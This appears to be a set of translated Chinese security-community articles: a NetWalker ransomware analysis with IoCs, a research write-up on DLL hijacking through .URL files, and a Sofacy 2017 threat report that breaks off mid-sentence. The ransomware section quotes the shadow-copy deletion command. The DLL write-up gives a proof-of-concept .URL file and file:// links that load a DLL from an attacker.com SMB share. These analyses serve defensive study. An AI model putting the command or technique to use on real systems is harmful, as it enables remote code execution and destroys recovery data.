Netwalker (又名 Mailto)勒索软件近期十分活跃。 由于新型冠肺炎的爆发，一些活跃的勒索软黑客们开始不再攻击医疗目标，但NetWalker
勒索软件却是例外。 这款勒索软件的赎金要求很高，很多受害者们因无法支付相关赎金导致数据被泄露。
最近美国的教育机构也成为了勒索软件的重点攻击目标，密歇根州立大学、加州大学旧金山分校和哥伦比亚大学芝加哥分校都没有幸免。近期的RaaS（勒索软件即服务）模式转变加剧了勒索的范围，导致网络检测和清理不再足以确保组织数据机密的安全，预防成为了面对威胁的唯一解决办法。
## NetWalker：简要年表
NetWalker勒索软件于2019年出现，和其他热门勒索软件类似，该软件的运营向也将目标瞄准了全球。
正如我们在[Maze](https://labs.sentinelone.com/maze-ransomware-update-extorting-and-exposing-victims/)，Ragnar，[REvil](https://www.youtube.com/watch?v=uFWbYSDQMco)其他公司身上看到的[那样](https://www.youtube.com/watch?v=uFWbYSDQMco)，运营商通过数据威胁作为杠杆，迫使目标达到要求。截止目前，十二个不同
NetWalker受害者被盗数据已经被公开发布。Netwalker 活动背后的攻击者使用常见的实用程序、开发后工具包和living-off-The-land，LOTL策略来探索一个受到破坏的环境，并尽可能多地吸取数据。这些工具可以包括mimikatz(及其变体)、各种
PSTools、AnyDesk、TeamViewer、NLBrute等。
在过去的几个月里，我们已经看到 NetWalker 向 RaaS
(勒索软件作为服务)交付模式的转变，这将有可能为越来越多的有进取心的犯罪分子开放平台。最近，我们观察到NetWalker垃圾邮件活动使用与[COVID-19相关的诱饵](https://labs.sentinelone.com/threat-intel-update-cyber-attacks-leveraging-the-covid-19-coronavirus-pandemic/)进行诱导。
## NetWalker关联前提条件
对于回应NetWalker潜在犯罪分子，“affiliate partner’”详细介绍了筛选过程，这是成为 NetWalker 附属机构的先决条件。
最初，联盟将要求潜在客户提供以下信息:
1. 您感兴趣的一般目标是什么
2. 您的经验和证明清单
3. 持续获得高价值目标的证据，以及有关您“意图”的一些迹象
进一步的筛选标准还包括：
1. 不能说英语
2. 必须持续且广泛地获得高价值目标
3. 必须尽快处理感染
提供NetWalker RaaS访问权限的供应商目前兜售以下功能集：
* 基于TOR的全自动聊天面板
* 支持Windows 2000及更高版本
* 全面了解潜在目标环境
* 快速多线程存储结构
* 高度灵活的配置选项
* 加密相邻的网络卷
* 独特的构建和混淆过程
* 自动发布受害者数据
## NetWalker近期的攻击活动
在过去的几个月中，有许多引人注目的攻击归因于NetWalker。2020年3月，西班牙的多家医院成为攻击目标。受害者被诱骗通过附加的PDF文件获得关于新型冠状病毒肺炎的最新信息。这些pdf
文件被武器化后迫使安装勒索软件。虽然一些勒索软件运营商表示他们将在疫情爆发期间抵制对医疗设施的攻击，但NetWalker似乎违背了原则，甚至将COVID用作社会工程学的诱饵。
[2020年2月，](https://www.cpomagazine.com/cyber-security/toll-groups-operations-shut-down-by-yet-another-ransomware-attack/)运输物流公司[Toll
Group](https://www.cpomagazine.com/cyber-security/toll-groups-operations-shut-down-by-yet-another-ransomware-attack/)受NetWalker的打击造成了严重的停电，直接影响了他们的客户。
在最近的许多攻击中，勒索软件的有效载荷是通过一个特制的 PowerShell
加载程序运送的，这个加载程序经过了大量的模糊处理。通过他们来进入特权访问目标环境的网域控制器，旨在尽可能多的访问主机上设置的专用加载程序。
## 技术数据
初始交付主要是通过带有恶意附件的电子邮件以及木马程序。 Netwalker 背后的参与者也使用了无文件传递和执行方法，包括反射 DLL 注入。 随着向
RaaS 平台的转移，人们更加重视已经受到威胁的或更容易访问的目标环境。
在各种进程中，NetWalker 的变体似乎都从嵌入式配置文件中提取了必要的运行数据。
嵌入文件数据中具有特定的目标数据，包括勒索文本、路径、扩展、进程终止列表等。Netwalker
背后的参与者也使用复杂的技术来增加隐秘性和复杂的因果分析。这包括[进程挖空](https://www.sentinelone.com/blog/behavioral-indicators-and-mitre-attck-for-enterprise/)，在这个过程中，恶意软件将自己注入到一个合法的进程中如explorer.exe并删除原始的可执行文件。
在这一点上，感染实际上隐藏在合法过程的空间中。
确切的加密方法可能因变体而异。具体的扩展名在嵌入式配置文件中确定，NetWalker将尝试使用这些扩展名对本地驱动器、可访问的网络共享以及隐藏共享（如Admin
$）进行加密。
一般来说，本地文件加密将通过调用[GetLogicalDriveStringsW](https://docs.microsoft.com/en-us/windows/win32/api/fileapi/nf-fileapi-getlogicaldrivestringsw)来定位“本地”驱动器进行启动。找到后，本地加密过程将开始。该恶意软件将尝试模拟已登录用户的上下文（当前用户的令牌/
[ImpersonateLoggedOnUser](https://docs.microsoft.com/en-us/windows/win32/api/securitybaseapi/nf-securitybaseapi-impersonateloggedonuser)）以及对[WNetUseConnectionA](https://docs.microsoft.com/en-us/windows/win32/api/winnetwk/nf-winnetwk-wnetuseconnectiona)和[WnetAddConnection2w的](https://docs.microsoft.com/en-us/windows/win32/api/winnetwk/nf-winnetwk-wnetaddconnection2w)进行网络和相邻卷加密。经常调用GetNetShares来帮助查找隐藏或管理共享（admin/IPC）。单个文件加密通常通过ChaCha流密码处理，我们还观察到与Salsa20的使用密切相关，这两种方法似乎都是由同一个人开发的。
Netwalker注意确保任何用于加密或外泄的数据/文件的可用性。每个配置文件都包含要发现和终止的进程列表，不对数据收集或文件加密进行干扰。配置文件列出了在恶意软件的主要任务终止前的服务和进程。
对于任何可能干扰恶意软件操作的运行任务，均采取了类似的预防措施。
NetWalker配置文件还包含赎金记录的base64编码副本。其中有目标公司名称和其他相关数据，编码的字符串在配置文件的“ lend”值中进行分配。
当前的NetWalker配置文件可能包含以下字段：
1. Lfile-Ransom 注释的名称 / 格式
2. Spsz-指定的加密块大小参数
3. Lend-B64编码的勒索软件说明字符串
4. Namesz-随机分配的名称长度
5. 为加密操作分配的线程数
6. Mpk-公钥
7. 解密过程中的解锁排除列表
8. Idsz-随机分配的 ID 长度
9. 模式-加密模式
10. 网络资源加密用网络切换
11. 要终止的进程、任务和服务名称的终止列表
12. 加密的白名单 / 排除列表
13. Onion2- Payment / Blog URL 2
14. Onion1- Payment / Blog URL 1
命名和持久性也是通过配置文件指示的。 从配置文件中的“ namesz”值中提取随机文件名。 可执行文件通常会被放入`Program Files (x86)
randomname randomname.exe`或`Program Files randomname
randomname.exe`中，具体取决于体系结构。
如果恶意软件没有管理特权，它将自动将其存放在相应用户的`\AppData\Roaming\`路径中。 持久性是通过注册表设置通过的`HKCU
Software Microsoft Windows Currentversion Run`。 该恶意软件还在`HKCU Software (Random
name)`中存储一个编码的数据快，调用此数据用于执行各种加密和解密任务。
Netwalker 也试图通过删除副本来阻止系统恢复。使用的命令语法是：
`Vssadmin.exe delete shadows /all /quiet`
## 受害者数据泄漏
今年年初，NetWalker开始将受害者数据发布到文章中（可通过TOR访问）。与Maze，DoppelPaymer，REvil，Ragnar等类似，它们列出了‘non-compliant’受害者以及泄漏数据的下载链接。对于那些仍有时间的受害者，会有相应的倒计时显示。根据RaaS版本的NetWalker，此“功能”对其附属公司是完全自动化的。
到目前为止，NetWalker博客网站上列出了十一家公司，最有针对性的行业是金融服务业和教育业，
他们绝不仅仅关注于那些垂直领域，卫生保健、石油与能源、零售服务、媒体与广告以及政府实体有关的公司都有涉及， 需要注意的是，并非所有转储数据的链接都可以使用。
供应商(如
Mega，DropMeFiles)已经采取了一些措施。话虽如此，但NetWalker博客显示目前仍托管着将近11GB的公司数据，未来还有可能会更多。
## 结论
Netwalker 是几个完全接受这种双重攻击的恶意软件家族，仅仅依靠勒索软件数据已经不再足够， 公开泄露数据的问题仍然十分突出。
在这些攻击中，预防绝对是至关重要的，
这是目前找到的有效办法。[SentinelOne的](https://www.sentinelone.com/platform/) Endpoint
Protection和Singularity平台是当今防御者可以使用的最功能最强大的工具。
## IoCs
#### SHA1
bf38aca2c659f9eb2b2fa2fad82ccf55b496b0cb
77676865f875eff23699189f57c37c76b92ba2b9
8e7a5500007c1552e1231bd1157433f7ef638672
e20a4cc7f13f517491e772ce9e5c236aad2785f0
a2c17f04ce259125bc43c8d6227ef594df51f18a
3d845a707f2825746637922d7dd10fab18558209
03023d7e3a54d915cca82429dfeedb1bebd5c182
7301382916d9f5274a4fb847579f75bc69c9c24b
#### SHA256
853fa18adc3f9263a0f98a9a257dd70d7e1aee0545ab47a114f44506482bd188
bd3fdf1b50911d537a97cb93db13f2b4026f109ed23a393f262621faed81dae1
868cb8251a245c416cd92fcbd3e30aa7b7ca7c271760fa120d2435fd3bf2fde9
44b5d24e5e8fd8e8ee7141f970f76a13c89dd26c44b336dc9d6b61fda3abf335
ce399a2d07c0851164bd8cc9e940b84b88c43ef564846ca654df4abf36c278e6
8587037c15463d10a17094ef8fa9f608cc20c99fa0206ce496b412f8c7f4a1b8
ac0882d87027ac22fc79cfe2d55d9a9d097d0f8eb425cf182de1b872080930ec
346fdff8d24cbb7ebd56f60933beca37a4437b5e1eb6e64f7ab21d48c862b5b7
#### MITRE ATT&CK
[T1053](https://attack.mitre.org/techniques/T1053/) – Scheduled Task
[T1060](https://attack.mitre.org/techniques/T1060/) – Registry Run Keys /
Startup Folder
[T1093](https://attack.mitre.org/techniques/T1093/) – Process Hollowing
[T1471](https://attack.mitre.org/techniques/T1471/) – Data Encrypted for
Impact
[T1490](https://attack.mitre.org/techniques/T1490/) – Inhibit System Recovery
* * * | 社区文章 |
# 独辟蹊径：如何通过URL文件实现DLL劫持
##### 译文声明
本文是翻译文章，文章来源：https://insert-script.blogspot.co.uk/
原文地址：<https://insert-script.blogspot.co.uk/2018/05/dll-hijacking-via-url-files.html>
译文仅供参考，具体内容表达以及含义原文为准。
## 概述
在第三方Windows应用程序中，存在一个允许执行本地文件的漏洞，然而该漏洞却不支持带参数执行。因此，我决定在Windows中再找到一个其他的漏洞，以此来实现想要的漏洞利用。
## 问题描述
此前，我多次遇到过一个带有漏洞的应用程序，可以允许执行本地文件。这就意味着，攻击者控制的字符串会以ShellExecute（
<https://msdn.microsoft.com/en-us/library/windows/desktop/bb762153(v=vs.85).aspx> ）之类的Windows
API调用结束，尽管系统调用自身并不重要。但这里有一个问题，就是我实际上无法控制任何参数。举例来说，我能够传递
file:///c:/windows/system32/cmd.exe
，但实际上无法执行任何恶意Payload，而只能简单地打开了cmd.exe。对于calc.exe、powershell.exe等等也是同样，这样一来使得漏洞就没有了任何实用价值。
于是，我开始不断思考，如何能够滥用这种漏洞，并使其真正执行攻击者所自定义的程序代码：
### 思路1：借助下载文件夹
我们可以想到的第一种方法，就是借助受漏洞影响的应用程序来触发文件下载。一旦文件被下载，漏洞可能会被再次触发，从而可以执行下载的文件。但经过研究，使用这种思路会有两个问题：
首先，它要求我能够在没有用户交互的情况下，触发文件的下载。
其次，假如能够满足上述要求，Windows中还存在另一个阻碍——用于下载文件的Zone模型，或确切地说，是Zone.Identifiers。
接下来，我们介绍一下Zone.Identifiers。
如果文件（通过网页浏览器等方式）被下载，Windows会向文件中添加一个名为Zone.Identifier的可选数据流（Alternative Data
Stream， <https://blogs.msdn.microsoft.com/jerrydixon/2007/09/20/alternate-data-streams/>
）。简单地说，可选数据流是一个数据（二进制或文本等），它并不存储于文件之中，而是链接到另一个文件。读取一个可选数据流的语法如下：<realfileOnDisk>:<ADSName>（<磁盘上的真实文件>:<可选文件流名称>）。
而具体到下载文件的场景中，这些附加信息描述了文件是从哪个区域下载的。在这里，我没有对这个模型及其具体含义进行深入讨论，但简短地说：如果从example.com这样的域名下载文件，该文件将被分配一个值为3的Zone
ID：
>dir /R downloaded.exe
downloaded.exe:Zone.Identifier:$DATA
>notepad downloaded.exe:Zone.Identifier
[ZoneTransfer]
ZoneId=3
不同值所对应的标记如下：
0 —— URLZONE_LOCAL_MACHINE（本地）
1 —— URLZONE_INTRANNET（内网）
2 —— URLZONE_TRUSTED（可信位置）
3 —— URLZONE_INTERNET（互联网）
4 —— URLZONE_UNTRUSTED（不可信位置）
只要Zone ID大于2，Windows就会针对潜在的不安全文件显示以下警告对话框：
由于我想要在不进行点击的前提下实现下载，所以就必须要找到一个安全的扩展名，既能执行恶意Payload，同时也不受这一防护机制的保护。由于Windows中这一功能特性已经存在了很长时间，因此可能无法找到合适的突破口，所以我们必须继续尝试其他方法。
在这里，需要提到的是，我发现某些第三方扩展名（例如Python的.py文件）就绕过了这种保护，但前提是目标主机需要先安装Python，并且Python可执行文件位于环境变量中。
### 思路2：SMB/UNC路径
在我放弃了下载文件的思路之后，我开始考虑SMB/UNC路径。在Windows上，可以使用 file:///
协议处理程序来打开和远程执行SMB共享文件，格式如下：
file://attacker.com/SMBShare/fileYouWantoToOpen
我的第一个天真的想法是：由于这个文件托管在远程SMB共享上，所以就没有Zone.Identifier可选数据流的存在，并且任何文件都会毫不犹豫地执行。我需要做的就是创建一个恶意文件，并将其托管在我的SMB共享上，设置该文件可以被公开访问，并将适当的file协议URL传递给受漏洞影响的应用程序。
然而，这个想法被证明是错误的。我们只需要看一下这两个例子：
file://attacker.com/SMBShare/evil.exe
file://attacker.com/SMBShare/test.bat
经过尝试，仍然会显示出于之前相同的警告对话框，这种方式显然也是不行的。作为最后的尝试，我开始在Windows上使用恶意文件扩展列表，这些列表曾经被恶意软件所使用过，并且我还按照自己的思路在其中添加了一些。然后，我为每一个扩展名都创建了一个文件，将它们上传到我的远程SMB共享中，并执行它们。
## 最终答案：URL
在完成扩展名的枚举之后，我发现，.URL文件能够从远程SMB共享中执行，并且没有出现任何警告对话框（
file://attacker.com/SMBShare/test.URL ）。我们很熟悉以下的.URL结构：
链接到本地文件：
[InternetShortcut]
URL=C:windowssystem32cmd.exe
链接到HTTP资源：
[InternetShortcut]
URL=<http://example.com>
同样，这里不允许传递任何参数，我们似乎又回到了最初的起点。但幸好，我在网上找到了其他研究者（
<http://www.lyberty.com/encyc/articles/tech/dot_url_format_-_an_unofficial_guide.html> ）记录的.URL文件的所有支持属性，所以我决定看一看：
The classic URL file format is pretty simple; it has a format similar to an INI file:
Sample URL File:
_______________________________________________________
[InternetShortcut]
URL=http://www.someaddress.com/
WorkingDirectory=C:WINDOWS
ShowCommand=7
IconIndex=1
IconFile=C:WINDOWSSYSTEMurl.dll
Modified=20F06BA06D07BD014D
HotKey=1601
_______________________________________________________
我认为，其中的WorkingDirectory是用于自解释的，但它允许设置由URL指令指定的应用程序工作目录。在这里，我立刻就想到了DLL劫持。这种漏洞在2010年到2011年之间特别常见，但至今仍然存在。如果这个应用程序存在DLL劫持漏洞，那么就可以从当前工作目录，而不是其应用程序文件夹、Windows文件夹等加载受攻击者控制的DLL。
受到启发，我有了如下思路：
[InternetShortcut]
URL=file:///c:/<pathToAnApplication>
WorkingDirectory=\attacker.comSMBShare
也许我可以通过URL指令，指定一个标准的Windows应用程序，将工作目录设置为我的SMB共享，并强制其从我的远程共享中加载一个DLL。我编写了一个Python脚本，按照以下逻辑来执行：
1、遍历C:Windows及其子文件夹中的所有.exe文件（由于我只对默认存在的应用程序感兴趣）；
2、在SMB共享中，为之前遍历到的每一个应用程序，创建一个.URL，URL指令指向目标应用程序，WorkingDirectory设置为远程SMB共享；
3、获取所有当前正在运行进程的列表，用于后续比对；
4、启动ProcessMonitor（ <https://docs.microsoft.com/en-us/sysinternals/downloads/procmon> ）；
5、设置筛选器，使其只显示路径指向远程共享且以.DLL结尾的条目；
6、执行.URL文件，例如 file://attacker.com/SMBShare/poc1.URL ；
7、获取所有当前正在运行的进程列表；
8、将新获取到的列表与步骤3中创建的进程列表进行对比，记录执行的.URL文件和所有新生成的进程，将所有新派生的进程终止以保证足够的系统资源；
9、重复步骤6、7、8，直到所有创建的.URL文件都已经执行。
在该脚本运行完成后，ProcessMonitor中将显示潜在可执行文件的列表，这些可执行文件可能存在DLL劫持的漏洞。接下来，要检查每个条目，对其进行栈跟踪，并找出LoadLibrary。这是用于检查是否存在DLL劫持漏洞的最简单、最明显方法，尽管并非完美，但我们希望能借助这种基本的方法来找到目标。
在测试过程中，我是在64位Windows
10系统的笔记本电脑上运行此脚本。如果各位读者想要亲自尝试这种方法，请从列表中删去“audit.exe”，因为它会重新启动计算机。
### 测试结果
首先，我的结果中存在很多误报情况，至今令我非常困惑，因为我认为不应该发生误报。
当我发表这篇文章时，我肯定是已经尝试成功了。我的电脑中受漏洞影响的应用程序是与笔记本电脑的触摸板有关，因此我对其进行了卸载。具体来说，我发现了以下Procmon条目：
我将自己的DLL放到SMB共享之中，并将该DLL重命名为mscorsvc.dll，从而创建一个消息框，防止万一该DLL被加载。现在，我再次执行该.URL文件，文件实际上会加载mscorsvw.exe，并观察到如下信息：
我的DLL已经成功从远程共享加载。不仅如此，我的DLL的消息框也成功弹出，这就意味着我自定义的代码被成功执行了。
为了确保万无一失，我在C:windowssystem32driversetchosts文件中添加了一个静态DNS条目，并将attacker.com映射到了局域网内的另一台Windows主机上，来对这一过程进行复现和验证。之后，我通过将.URL文件和DLL文件放在本地attacker.com主机上的方法，对PoC进行了测试，创建了一个完全可访问的SMB共享，并从我的测试主机上执行了Payload，证明该方法确实有效。
总而言之，这是我相处的概念验证方法（另外，这不是我发现的唯一一个受漏洞影响的应用程序）：
[InternetShortcut]
URL=C:windowsWinSxSx86_netfx4-mscorsvw_exe_b03f5f7f11d50a3a_4.0.15655.0_none_c11940453f42e667mscorsvw.exe
WorkingDirectory=\attacker.comSMBShare
mscorsvw.exe将从远程smb共享加载mscorsvc.dll。
## 攻击过程总结
我们对这次攻击过程进行一下总结：
1、发现一个应用程序存在漏洞，允许执行不带参数的文件。
2、我利用了这一漏洞，加载文件 file://attacker.com/SMBShare/poc.URL 。
3、该.URL文件包含上面所述的结构。
4、最后，我的恶意mscorsvc.dll文件将会被加载，成功实现攻击。
## PoC存在的问题
我的概念验证仍然存在一些问题。首先，如果要成功实现，需要目标主机允许出站SMB连接。此外，我发现的受漏洞影响的应用程序都位于WinSxS中，其路径包含版本信息，这也就意味着Windows版本、语言和应用程序版本都可能对路径产生影响。
同样，这种攻击方式也会在目标用户使用explorer.exe查看远程SMB共享并双击.URL文件时成功实现。
## 防范方法
我向微软报告了该问题，微软工作人员表示可以成功复现。之后，我得到如下回应：
“您是否可以在启用以下注册表设置的情况下重现此攻击？通过设置以下注册表项，我们发现CWD网络共享DLL加载会停止。”
[HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlSession Manager]
"CWDIllegalInDllSearch"=dword:ffffffff
经过确认，我发现经过上述设置（需要重新启动计算机）之后可以停止从远程SMB共享加载DLL，因此可以防范本文所述的攻击方式。随后，我获得了微软团队关于发布此漏洞详情的允许：
“感谢您的确认。工程师团队建议，由于这一注册表项可以防范此攻击，因此用户可以自行对计算机进行防护，我们可能不会通过安全更新解决这一问题。此外，您可以将上述漏洞细节发布到网络，特别是其中的防范方法。” | 社区文章 |
# 2017年Sofacy攻击报告
|
##### 译文声明
本文是翻译文章，文章原作者 GReAT ，文章来源：securelist.com
原文地址：<https://securelist.com/a-slice-of-2017-sofacy-activity/83930/>
译文仅供参考，具体内容表达以及含义原文为准。
## 一、前言
Sofacy（还有其他广为人知的称号，如APT28、Fancy Bear以及Tsar
Team）是一个非常活跃又高产的APT组织。Sofacy的实力雄厚，用到了许多0day漏洞，所使用的恶意软件工具集非常新颖且范围广泛，是我们重点跟踪、报告以及防御的顶级团队之一。2017年Sofacy依然活跃，我们向专属客户反馈了关于Sofacy的许多YARA规则、IOC以及安全报告，反馈数量高居2017年榜首。
这种高水平的网络间谍活动可以追溯到好几年之前。2011年至2012年期间，该组织将相对较小的某个植入体后门（也称为“Sofacy”或者SOURFACE）作为第一阶段恶意软件，当时这款恶意软件与老式的Miniduke植入体存在某些相似之处。因此我们认为这两个组织存在一定关联性，虽然这两个组织从某个时间点开始分道扬镳（2014年开始Miniduke组织开始使用CosmicDuke植入体），但当时他们所使用的恶意软件依然比较一致且较为明确。
2013年，Sofacy组织扩张了他们的武器库，添加了更多的后门及工具，包括CORESHELL、SPLM（又名Xagent、CHOPSTICK）、JHUHUGIT（由Carberp源码编译而成）、AZZY（ADVSTORESHELL、NETUI、EVILTOSS，衍生了4-5代版本）以及其他一些工具。之前我们已经发现过这些植入体的各种变种，当时有些植入体传播得相当广泛（某些目前仍在活跃中）。2015年，我们注意到另一波[攻击活动](https://securelist.com/sofacy-apt-hits-high-profile-targets-with-updated-toolset/72924/)，当时攻击者使用的是新版的AZZY植入体，许多反病毒软件无法有效检测这个变种。新的攻击活动中还涉及到Sofacy所部署的新一代USB窃取器（该工具的最初版本可以追溯到2015年2月），似乎专门针对高价值的目标。
2016年，DNC网络中发现了Sofacy以及APT29的活动轨迹，攻击事件导致数据泄露，相关数据也被“武器化”，这次事件大大吸引了众人的眼球。2016年年末时，该组织的攻击重点转向了奥林匹克、世界反兴奋剂机构（WADA）以及国际体育仲裁法庭（CAS），当时攻击者钓鱼攻击并成功攻陷了这些组织中某些个人以及服务器。这与之前的CyberBerkut攻击活动类似，当时攻击者也是隐藏在匿名的激进组织中（如anonpoland），受害组织的数据也被泄露出来，并被成功“武器化”。
这份报告重点关注了Sofacy在2017年的活动轨迹，包括该组织的目标、技术以及基础架构。没有一个研究机构的视野能100%覆盖全球各个方面，我们所收集的数据也源自与此。有外部报道称，2017年APT28在[欧洲](https://www.fireeye.com/blog/threat-research/2017/08/apt28-targets-hospitality-sector.html)的攻击活动与Darkhotel组织类似，[Dealer’s
Choice](https://researchcenter.paloaltonetworks.com/2016/12/unit42-let-ride-sofacy-groups-dealerschoice-attacks-continue/)的鱼叉式钓鱼攻击也牵扯其中。从我们的角度来看，2017年Sofacy最开始重点攻击的是北约（NATO）以及乌克兰的合作伙伴，顺带攻击了中亚区域的一些目标，后半年重点攻击的是中亚目标，并且攻击目标有所东移。
## 二、Dealer’s Choice
2016年末，我们在Palo Alto的几位同事分析出了Dealer’s
Choice组织的几处技术特征，根据这些特征，我们在2017年初开始缓慢清除Dealer’s
Choice的残留痕迹。该组织利用Flash漏洞发起了几波鱼叉式钓鱼攻击浪潮，用到了基于carberp的JHUHUGIT下载器（downloader）以及后续的恶意软件。2017年1月份，许多人开始登录邮箱，下载Dealer’s
Choice发送的鱼叉式钓鱼邮件。在这几波攻击浪潮中，我们观察到攻击者攻击的目标与北约的军事及外交利益有关。
在许多案例中，Sofacy会盗用某个目标的身份，向其他目标发送钓鱼邮件。这些目标通常与军事、军事技术以及制造业有关，并且这些攻击场景中，Dealer’s
Choice采用了NATO主题的钓鱼邮件：
针对NATO以及乌克兰的此次攻击活动影响全球多个国家。我们的KSN数据显示，2017年的此次钓鱼攻击目标涉及AM、AZ、FR、DE、IQ、IT、KG、MA、CH、UA、US以及VN这几个国家。
我们从第三方数据源恢复了一些Dealer’s
Choice邮件，这些邮件给我们提供了一些额外信息，证实了KSN数据的一些统计结果，结果表明TR、PL、BA、AZ、KR、LV、GE、AU、SE以及BE也受这次攻击影响。
## 三、0day漏洞
2017年伊始，Sofacy就在鱼叉式钓鱼文档中部署了2个0day漏洞利用技术，这两个漏洞分别为Microsoft
Office的EPS类型混淆漏洞（[CVE-2017-0262](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0262)）以及UAF权限提升漏洞（[CVE-2017-0263](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0263)）。该团伙想通过这个钓鱼邮件附件下载安装30kb大小的后门（即GAMEFISH），攻击欧洲目标。攻击者采用的是与叙利亚军事冲突有关的专题内容，文档名为“Trump’s_Attack_on_Syria_English.docx”。同样的是，这次攻击很有可能是针对NATO目标的攻击活动。
## 四、针对中亚及相关基础设施的SPLM攻击
与此同时，2017年年初至2017年年中，我们在中亚检测到了SPLM/CHOPSTICK/XAgent，这表明攻击者仍在攻击中亚区域的前苏联国家。这些攻击行为比较有意思，因为攻击者在尝试性地攻击某些特定系统，想在第二阶段的攻击中部署具备文件窃取器（filestealer）、键盘记录器（keylogger）以及远程shell功能的后门。分析最新版的后门后，我们发现其中SPLM部分与之前发现的SPLM/XAgent有所不同，但其他相似部分保持一致。在2017年5月份，64位的SPLM模块已经更新到版本4。攻击者的攻击目标包括与国防有关的商业、军事以及电信目标。
TR、KZ、AM、KG、JO、UK以及UZ这几个国家受此次攻击影响。
## 五、Zebrocy攻击活动
从2015年11月中旬以来，Sofacy（即APT28）一直在使用一种独特的载荷以及传播机制，这款载荷使用Delphi以及AutoIT编写。我们将该工具以及相关攻击活动统称为“Zebrocy”，发表了该工具到2017年6月份为止的使用及部署情况报告，Sofacy开发者在此期间修改并增量部署了新版的恶意软件。Zebrocy的攻击活动遵循以下模式：鱼叉式钓鱼邮件附件
– >编译好的Autoit脚本（下载器） – >
Zebrocy攻击载荷。在某些攻击场景中，我们发现Sofacy会主动研发一款新的工具，并将其部署到一小部分目标中。
Zebrocy所使用的鱼叉式钓鱼邮件文件名、欺诈主题与签证申请、扫描图像、边境管制以及各种管理专题有关。攻击目标非常广泛，涉及中东、欧洲以及亚洲相关国家，例如：
1、商业会计业务及标准相关目标；
2、科学及工程中心；
3、工业和水化学工程及标准/认证组织；
4、外交部；
5、大使馆及领事馆；
6、国家安全及情报机构；
7、新闻服务组织；
8、翻译服务组织；
9、NGO（非政府组织）：家庭及社区服务；
10、能源及工业部。
我们成功识别出了Zebrocy部署的新型MSIL组件。虽然最新的Zebrocy为7.1版，但某些模块仍为v7.0版（这些模块能够释放具备文件窃取功能的MSIL模块，我们称之为Covfacy）。在这款工具集中，这些组件是比较特别的存在。比如，攻击者会将某个模块发给少数几个国家，当模块在目标系统中激活时，可以识别网络驱动器，然后使用类似RC4的加密算法，将某些文件元数据及内容写入本地路径中，以便后续攻击使用。文件窃取器会搜索60mb左右的文件，支持如下文件扩展名：
.doc
.docx
.xls
.xlsx
.ppt
.pptx
.exe
.zip
.rar
恶意软件执行时，会安装由应用程序定义的一个Windows钩子（hook）。该钩子会捕捉到添加网络驱动器的Windows消息。一旦系统中添加了一块网络驱动器，钩子就会调用“RecordToFile”这个文件窃取方法。
Zebrocy鱼叉式钓鱼攻击波及如下几个国家：
AF、AM、AU、AZ、BD、BE、CN、DE、ES、FI、GE、IL、IN、JO、KW、KG、KZ、LB、LT、 MN、 MY、
NL、OM、PK、PO、SA、ZA、SK、SE、CH、TJ、TM、TR、UA、UAE、UK、US、 UZ。
## 六、在中亚的SPLM攻击活动
攻击者在2017年一直在部署SPLM/CHOPSTICK模块，这些模块为原生的64位模块化C++ Windows
COM后门，支持基于TLSv1以及TLSv1.2的HTTP加密通信，主要由Sofacy在2017年下半年部署。攻击者在早期的SPLM攻击活动中使用的是32位模块，通过未加密的HTTP会话（有时候是SMTP会话）进行部署。2016年，我们看到了全功能版的、非常庞大的SPLM/X-Agent模块，这些模块支持OS
X系统。
可执行模块仍然属于某个攻击框架的一部分，该框架支持通过内部及外部通道进行通信的各种内部及外部组件，每次部署这些模块时，攻击者都会在加密方式以及功能方面做些微小的改动。多年以来，在针对高价值的目标时，Sofacy会选择性地使用SPLM/CHOPSTICK作为第二阶段的植入体载荷。与之前编译好的程序相比，该模块可以将远程shell、键盘记录器以及文件系统插件注入到受害者系统上正在运行的进程中，维护本来属于主模块的一些功能。
攻击者主要将新版的SPLM模块用在中亚目标上，这些目标在某种程度上都与NATO有关。这些目标包括外事政府组织（本国及国外）以及国防单位（在欧洲本部以及驻扎在阿富汗的分部），但有个单位例外，这是波斯尼亚和黑塞哥维那（即波黑）的一家审计及咨询公司。
在部署过程中，攻击者在代码上也做了少量修改以及更新，比如使用新的互斥体（mutex）格式以及基于TLS的HTTP加密通信。攻击者会使用多种微妙的方法，在每次部署过程中修改编译后的代码，以防止恶意软件被识别及被自动分析，希望恶意软件能够适应目标环境。每次部署过程中，攻击者都会自定义加密恶意软件中用到的字符串（如C2域名、功能特征、错误消息等）。
受影响的国家包括：TR、KZ、BA、TM、AF、DE、LT、NL。
## 七、SPLM/CHOPSTICK/XAgent
### 模块化方面
进入2018年后，SPLM/CHOPSTICK攻击活动给我们带来了一些小惊喜，我们准备在SAS
2018上进一步讨论相关细节。该攻击团队在维护及研发熟悉的SPLM功能方面的可塑性及创新性都非常优秀，但仍然继续沿用实用性及系统性的方法来研发隐蔽性或者难以被检测到的恶意软件。攻击者改进了第二阶段的SPLM后门，使相关代码在模块化时能够更加稳定。
### 基础设施方面
Sofacy搭建并维护了持续时间不一的多台服务器及C2服务器，注册了非常容易辨认的域名，这些域名商提供隐私保护服务、接受比特币、接受虚假电话号码及虚假个人姓名、支持1对1邮件地址注册域名。攻击者的某些行为以及用到的某些模式之前已被曝光过，因此我们预计2018年攻击者在这方面会有所改变。此外，在过去2年中，已经有研究人员开始公开发表关于Sofacy基础设施的一些研究结果，这几年这些基础设施架构在一致性方面保持得很好。
与往常一样，攻击者总是会犯下一些错误，通过蛛丝马迹告诉我们他们热衷于哪些服务商以及注册商。有趣的是，这个版本的SPLM会通过HTTPS协议实现完全加密的通信。比如，我们可能会在相关的SSL/TLS证书中看到一些额外数据，这些数据会泄露提供商或者相关资源的一些信息。直到2017年夏季时，攻击者使用的基础设施主要由PDR、Internet
Domain Service BS Corp及相关代理商提供，托管服务主要由Fast Serv Inc及代理商提供，攻击者很有可能使用比特币来处理支付过程。
因此，貌似攻击者会在VPS主机上本地生成服务端证书，使用比特币向服务商支付费用。但有些例外，攻击者似乎在某个HP-UX盒子上本地生成了一个证书，也使用了`[[email protected]](mailto:[email protected])[.]com`这个邮箱在`8569985.securefastserver[.]com`上生成了另一个证书，如下图所示。恶意软件忽略了这个证书配置。
除了其他IP数据以外，该数据还表明`https://www.qhoster[.]com`所属的Qhoster是攻击者当时选择的VPS托管服务器经销商。需要注意的是，该经销商接受Alfa
Click、PayPal、Payza、Neteller、Skrill、WebMoney、Perfect
Money、Bitcoin、Litecoin、SolidTrust
Pay、CashU、Ukash、OKPAY、EgoPay、paysafecard、Alipay、MG、Western Union、SOFORT
